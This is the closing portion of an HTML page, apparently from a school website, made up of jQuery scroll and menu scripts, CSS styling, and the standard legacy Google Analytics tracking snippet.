            if (fullpane12 < scrollTop || fullpane12 == scrollTop) { $("#li-pane12").addClass("viewed"); } else { $("#li-pane12").removeClass("viewed"); }
            if (fullpane7 < scrollTop || fullpane7 == scrollTop) { $("#li-pane7").addClass("viewed"); } else { $("#li-pane7").removeClass("viewed"); }
            if (fullpane8 < scrollTop || fullpane8 == scrollTop) { $("#li-pane8").addClass("viewed"); } else { $("#li-pane8").removeClass("viewed"); }
            if (fullpane9 < scrollTop || fullpane9 == scrollTop) { $("#li-pane9").addClass("viewed"); } else { $("#li-pane9").removeClass("viewed"); }
            if (fullpane10 < scrollTop || fullpane10 == scrollTop) { $("#li-pane10").addClass("viewed"); } else { $("#li-pane10").removeClass("viewed"); }
            if (fullpane11 < scrollTop || fullpane11 == scrollTop) { $("#li-pane11").addClass("viewed"); } else { $("#li-pane11").removeClass("viewed"); }


            if (fullpane13 < scrollTop || fullpane13 == scrollTop) { $("#li-pane13").addClass("viewed"); } else { $("#li-pane13").removeClass("viewed"); }
            if (fullpane14 < scrollTop || fullpane14 == scrollTop) { $("#li-pane14").addClass("viewed"); } else { $("#li-pane14").removeClass("viewed"); }
            if (fullpane15 < scrollTop || fullpane15 == scrollTop) { $("#li-pane15").addClass("viewed"); } else { $("#li-pane15").removeClass("viewed"); }
            if (fullpane16 < scrollTop || fullpane16 == scrollTop) { $("#li-pane16").addClass("viewed"); } else { $("#li-pane16").removeClass("viewed"); }
            if (fullpane17 < scrollTop || fullpane17 == scrollTop) { $("#li-pane17").addClass("viewed"); } else { $("#li-pane17").removeClass("viewed"); }
            if (fullpane18 < scrollTop || fullpane18 == scrollTop) { $("#li-pane18").addClass("viewed"); } else { $("#li-pane18").removeClass("viewed"); }
            if (fullpane19 < scrollTop || fullpane19 == scrollTop) { $("#li-pane19").addClass("viewed"); } else { $("#li-pane19").removeClass("viewed"); }
            if (fullpane20 < scrollTop || fullpane20 == scrollTop) { $("#li-pane20").addClass("viewed"); } else { $("#li-pane20").removeClass("viewed"); }

            if (fullpane21 < scrollTop || fullpane21 == scrollTop) { $("#li-pane21").addClass("viewed"); } else { $("#li-pane21").removeClass("viewed"); }
            if (fullpane22 < scrollTop || fullpane22 == scrollTop) { $("#li-pane22").addClass("viewed"); } else { $("#li-pane22").removeClass("viewed"); }
            if (fullpane23 < scrollTop || fullpane23 == scrollTop) { $("#li-pane23").addClass("viewed"); } else { $("#li-pane23").removeClass("viewed"); }
            if (fullpane24 < scrollTop || fullpane24 == scrollTop) { $("#li-pane24").addClass("viewed"); } else { $("#li-pane24").removeClass("viewed"); }
            if (fullpane25 < scrollTop || fullpane25 == scrollTop) { $("#li-pane25").addClass("viewed"); } else { $("#li-pane25").removeClass("viewed"); }
            if (fullpane26 < scrollTop || fullpane26 == scrollTop) { $("#li-pane26").addClass("viewed"); } else { $("#li-pane26").removeClass("viewed"); }
            if (fullpane27 < scrollTop || fullpane27 == scrollTop) { $("#li-pane27").addClass("viewed"); } else { $("#li-pane27").removeClass("viewed"); }
            if (fullpane28 < scrollTop || fullpane28 == scrollTop) { $("#li-pane28").addClass("viewed"); } else { $("#li-pane28").removeClass("viewed"); }

            if (fullpane29 < scrollTop || fullpane29 == scrollTop) { $("#li-pane29").addClass("viewed"); } else { $("#li-pane29").removeClass("viewed"); }
            if (fullpane30 < scrollTop || fullpane30 == scrollTop) { $("#li-pane30").addClass("viewed"); } else { $("#li-pane30").removeClass("viewed"); }
            if (fullpane31 < scrollTop || fullpane31 == scrollTop) { $("#li-pane31").addClass("viewed"); } else { $("#li-pane31").removeClass("viewed"); }
            if (fullpane32 < scrollTop || fullpane32 == scrollTop) { $("#li-pane32").addClass("viewed"); } else { $("#li-pane32").removeClass("viewed"); }
            if (fullpane33 < scrollTop || fullpane33 == scrollTop) { $("#li-pane33").addClass("viewed"); } else { $("#li-pane33").removeClass("viewed"); }
            if (fullpane34< scrollTop || fullpane34 == scrollTop) { $("#li-pane34").addClass("viewed"); } else { $("#li-pane34").removeClass("viewed"); }
            if (fullpane35 < scrollTop || fullpane35 == scrollTop) { $("#li-pane35").addClass("viewed"); } else { $("#li-pane35").removeClass("viewed"); }
            if (fullpane36 < scrollTop || fullpane36 == scrollTop) { $("#li-pane36").addClass("viewed"); } else { $("#li-pane36").removeClass("viewed"); }
            if (fullpane37 < scrollTop || fullpane37 == scrollTop) { $("#li-pane37").addClass("viewed"); } else { $("#li-pane37").removeClass("viewed"); }
if (fullpane38 < scrollTop || fullpane38 == scrollTop) { $("#li-pane38").addClass("viewed"); } else { $("#li-pane38").removeClass("viewed"); }
if (fullpane39 < scrollTop || fullpane39 == scrollTop) { $("#li-pane39").addClass("viewed"); } else { $("#li-pane39").removeClass("viewed"); }
if (fullpane40 < scrollTop || fullpane40 == scrollTop) { $("#li-pane40").addClass("viewed"); } else { $("#li-pane40").removeClass("viewed"); }
if (fullpane41 < scrollTop || fullpane41 == scrollTop) { $("#li-pane41").addClass("viewed"); } else { $("#li-pane41").removeClass("viewed"); }
if (fullpane42 < scrollTop || fullpane42 == scrollTop) { $("#li-pane42").addClass("viewed"); } else { $("#li-pane42").removeClass("viewed"); }
if (fullpane43 < scrollTop || fullpane43 == scrollTop) { $("#li-pane43").addClass("viewed"); } else { $("#li-pane43").removeClass("viewed"); }
if (fullpane44 < scrollTop || fullpane44 == scrollTop) { $("#li-pane44").addClass("viewed"); } else { $("#li-pane44").removeClass("viewed"); }
if (fullpane45 < scrollTop || fullpane45 == scrollTop) { $("#li-pane45").addClass("viewed"); } else { $("#li-pane45").removeClass("viewed"); }
if (fullpane46 < scrollTop || fullpane46 == scrollTop) { $("#li-pane46").addClass("viewed"); } else { $("#li-pane46").removeClass("viewed"); }
if (fullpane47 < scrollTop || fullpane47 == scrollTop) { $("#li-pane47").addClass("viewed"); } else { $("#li-pane47").removeClass("viewed"); }
if (fullpane48 < scrollTop || fullpane48 == scrollTop) { $("#li-pane48").addClass("viewed"); } else { $("#li-pane48").removeClass("viewed"); }
if (fullpane49 < scrollTop || fullpane49 == scrollTop) { $("#li-pane49").addClass("viewed"); } else { $("#li-pane49").removeClass("viewed"); }
    if (fullpane50 < scrollTop || fullpane50 == scrollTop) { $("#li-pane50").addClass("viewed"); } else { $("#li-pane50").removeClass("viewed"); }
    }
    });</script>

<style>

    .error-msg {
        width: 100%;
        padding: 10px;
        background-color: red;
        color: white;
        display: none;
        margin-bottom: 20px;
    }

    .form-items, .blog-items {
        background-color: #ffffff;
        padding: 40px !important;
        color: #9c132e;
    }

        .form-items .label {
            display: block;
            margin-bottom: 10px;
            width: 100%;
        }

        .form-items input {
            padding: 10px;
            border: 1px solid #7d899e;
            width: 100%;
            display: block;
            margin-bottom: 20px;
        }

        .form-items select {
            padding: 10px;
            webkit-appearance: none;
            -moz-appearance: none;
            appearance: none;
            border: 1px solid #7d899e;
            width: 100%;
            display: block;
            margin-bottom: 20px;
        }

        .form-items button {
            padding: 10px;
            border: 1px solid #7d899e;
            background-color: #7d899e;
            color: white;
            text-align: center;
            width: 100%;
            display: block;
            margin-bottom: 20px;
            transform: 0.3s;
        }

            .form-items button:hover {
                border: 1px solid #9c132e;
                background-color: #9c132e;
                cursor: pointer;
            }

    .full-pane a {
        color: white;
    }

    .btn {
        color: white;
        border-radius: 0px;
        font-family: "Cinzel", serif;
        margin: 5px 0px 0px 19px;
        position: relative;
        font-size: 25px;
        z-index: 3;
    }
</style>


<style>

    /* Icon 1 */

    #nav-icon1, #nav-icon2, #nav-icon3, #nav-icon4 {
        width: 60px;
        height: 45px;
        position: absolute;
        top: 40px;
        left: 20px;
        -webkit-transform: rotate(0deg);
        -moz-transform: rotate(0deg);
        -o-transform: rotate(0deg);
        transform: rotate(0deg);
        -webkit-transition: .5s ease-in-out;
        -moz-transition: .5s ease-in-out;
        -o-transition: .5s ease-in-out;
        transition: .5s ease-in-out;
        cursor: pointer;
        z-index: 9999;
    }

        #nav-icon1 span, #nav-icon3 span, #nav-icon4 span {
            display: block;
            position: absolute;
            height: 5px;
            width: 100%;
            background: #ffffff;
            border-radius: 9px;
            opacity: 1;
            left: 0;
            -webkit-transform: rotate(0deg);
            -moz-transform: rotate(0deg);
            -o-transform: rotate(0deg);
            transform: rotate(0deg);
            -webkit-transition: .25s ease-in-out;
            -moz-transition: .25s ease-in-out;
            -o-transition: .25s ease-in-out;
            transition: .25s ease-in-out;
        }

            #nav-icon1 span:nth-child(1) {
                top: 0px;
            }

            #nav-icon1 span:nth-child(2) {
                top: 18px;
            }

            #nav-icon1 span:nth-child(3) {
                top: 36px;
            }

        #nav-icon1.open span:nth-child(1) {
            top: 18px;
            -webkit-transform: rotate(135deg);
            -moz-transform: rotate(135deg);
            -o-transform: rotate(135deg);
            transform: rotate(135deg);
        }

        #nav-icon1.open span:nth-child(2) {
            opacity: 0;
            left: -60px;
        }

        #nav-icon1.open span:nth-child(3) {
            top: 18px;
            -webkit-transform: rotate(-135deg);
            -moz-transform: rotate(-135deg);
            -o-transform: rotate(-135deg);
            transform: rotate(-135deg);
        }

        /* Icon 3 */

        #nav-icon3 span:nth-child(1) {
            top: 0px;
        }

        #nav-icon3 span:nth-child(2), #nav-icon3 span:nth-child(3) {
            top: 18px;
        }

        #nav-icon3 span:nth-child(4) {
            top: 36px;
        }

        #nav-icon3.open span:nth-child(1) {
            top: 18px;
            width: 0%;
            left: 50%;
        }

        #nav-icon3.open span:nth-child(2) {
            -webkit-transform: rotate(45deg);
            -moz-transform: rotate(45deg);
            -o-transform: rotate(45deg);
            transform: rotate(45deg);
        }

        #nav-icon3.open span:nth-child(3) {
            -webkit-transform: rotate(-45deg);
            -moz-transform: rotate(-45deg);
            -o-transform: rotate(-45deg);
            transform: rotate(-45deg);
        }

        #nav-icon3.open span:nth-child(4) {
            top: 18px;
            width: 0%;
            left: 50%;
        }

        #nav-icon3.open {
            position: fixed;
        }
</style>

<script>$(document).ready(function () {



        $('#nav-icon3').click(function () {
            $("#nav-icon3").toggleClass('open');
            $("#flyout-menu").toggle("slide", { direction: "left" }, 1000);
        });



        $('#shortcuts li').click(function () {

            var x = $(this).attr("rel-id");

            if(x == 1) { $("#nav-icon3").toggleClass('open');$("#flyout-menu").toggle("slide", { direction: "left" }, 1000);$("#nav-ul-15").slideToggle(); }
            if(x == 2) { $("#nav-icon3").toggleClass('open');$("#flyout-menu").toggle("slide", { direction: "left" }, 1000);$("#nav-ul-17").slideToggle(); }
            if(x == 3) { $("#nav-icon3").toggleClass('open');$("#flyout-menu").toggle("slide", { direction: "left" }, 1000);$("#nav-ul-113").slideToggle(); }
            if(x == 4) { location.href = '/holidayclubs'; }
            if(x == 5) { location.href = '/summer-school'; }
            if(x == 6) { location.href = '/5'; }
            if(x == 7) { location.href = '/vacancies'; }
            if(x == 8) { location.href = '/forces-families'; }
                if(x == 9) { location.href = '/apply-now'; }
        });
        


        $(".nav-head").click(function () {

            $("#nav-ul-" + $(this).attr("rel-id")).slideToggle();
            $(this).toggleClass("thisBold");
        });


        $("#searchBtn").click(function(){
            if($("#searchTerms").val() != "" ){
                location.href = '/search/' + $("#searchTerms").val();
            }
        });
    });
    





</script>




<style>
    .thisBold { font-weight:bold; }
    .containerratio {
        background-size: cover;
        width: 100%;
        padding-top: 30%; /* 16:9 Aspect Ratio (divide 9 by 16 = 0.5625) */
        position: relative; /* If you want text inside of it */
    }

    /* If you want text inside of the container */
    .text {
        position: absolute;
        top: 0;
        left: 0;
        bottom: 0;
        right: 0;
    }
</style>


<style>


    .content-slide table { width:100%; }
    .content-slide table tr:nth-child(odd) { background-color:#eeeeee;}
    .content-slide table tbody tr td h2 { color:#9c132e; font-size:25px; margin-bottom:25px; }
    .content-slide table tbody tr td { padding:25px; }
    #articlesearch { padding:25px; border:0px;}

    .full-pane {
        min-height: unset;
    }


    .dloadbtn {
        color: white !important;
        display: inline-block;
        background-color:#9c132e ;
        text-decoration: none;
        padding: 10px 15px;
        border-radius: 2px;
        font-family: "Cinzel", serif;
        transform: 0.3s;
        margin: 0px 15px 15px 0px;
    }

        .dloadbtn:hover {
            color: white;
            background-color: #3e495c;
        }

    .block-3e495c {
        background-color: #3e495c;
    }

        .block-3e495c p {
            margin: 0px;
            padding: 0px;
        }

            .block-3e495c p a {
                color: #ffffff;
                transition: 0.3s;
            }

                .block-3e495c p a:hover {
                    color: #f5ecb3;
                }

    .block-ffffff {
        background-color: #ffffff;
        color: #3e495d;
    }

        .block-ffffff p {
            margin: 0px;
            padding: 0px;
            color: #3e495d;
        }

            .block-ffffff p a {
                color: #3e495d;
                transition: 0.3s;
            }

                .block-ffffff p a:hover {
                    color: #3e495c;
                }

    .block-3e495d {
        background-color: #3e495d;
    }

        .block-3e495d p {
            margin: 0px;
            padding: 0px;
            color: #ffffff;
        }

            .block-3e495d p a {
                color: #ffffff;
                transition: 0.3s;
            }

                .block-3e495d p a:hover {
                    color: #f5ecb3;
                }

    .block-trans {
        background-color: transparent;
    }

    .col-md-3 {
        border-bottom: 0px;
    }

h1 {
    padding: 0px 0px;
    margin: 15px 0px 15px 0px;
    font-family: "Cinzel", serif;
    font-size: 30px;
}

    .nav-items {
        padding: 40px 30px 40px 20px;
        font-size: 20px;
color:#9c132e;
    }

        .nav-items h3 {
            text-transform: uppercase;
            font-family: "Cinzel", serif;
        }

        .nav-items ul {
            margin: 10px 0px;
            padding: 0px 0px;
        }

            .nav-items ul li {
                margin: 0px 0px;
                padding: 0px 0px;
                list-style-type: none;
                width: 100%;
                display: block;
                font-size: 18px;
            }

                .nav-items ul li strong {
                    margin: 0px 0px 10px;
                    display: block;
                }

                .nav-items ul li a {
                    color: white;
                    background-color: #9c132e;
                    text-decoration: none;
                    width: 100%;
                    display: block;
                    padding: 5px 10px;
                    margin-bottom:1px;
                }

                    .nav-items ul li a:hover {
                        text-decoration: underline;
                    }

    p {
        margin: 0px 0px;
        padding: 0px 0px;
    }

    .content-slide .col-md-12 {
        padding: 0px 0px;
    }

    .close-fade {
        border: 2px solid white;
        padding: 10px 20px;
        font-size: 30px;
        font-weight: bold;
        color: white;
        position: fixed;
        top: 50px;
        right: 50px;
    }

        .close-fade:hover {
            cursor: pointer;
            background-color: white;
            color: black;
        }


        table.term-dates {
    width: 100%;
    margin: 15px 0px;
}

table.term-dates tr:first-child {
    background-color: #9c132e;
    font-size: 16px;
    color: white;
    padding: 5px;
    border-bottom:10px solid white;
}

table.term-dates tr:first-child td{
    padding: 5px 10px;
}

.linkwhite a { color:white; }
</style>



    <script type="text/javascript">
        var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
        document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
    </script>
    <script type="text/javascript">
        var pageTracker = _gat._getTracker("UA-8021443-1");
        pageTracker._trackPageview();
    </script>

    <script src="/js/site.js?v=ZuuafqFPrVRBKcjc9nVnUgldbE3hS3GG5WeZxe6SIR0"></script>
    
 
</body>
</html>

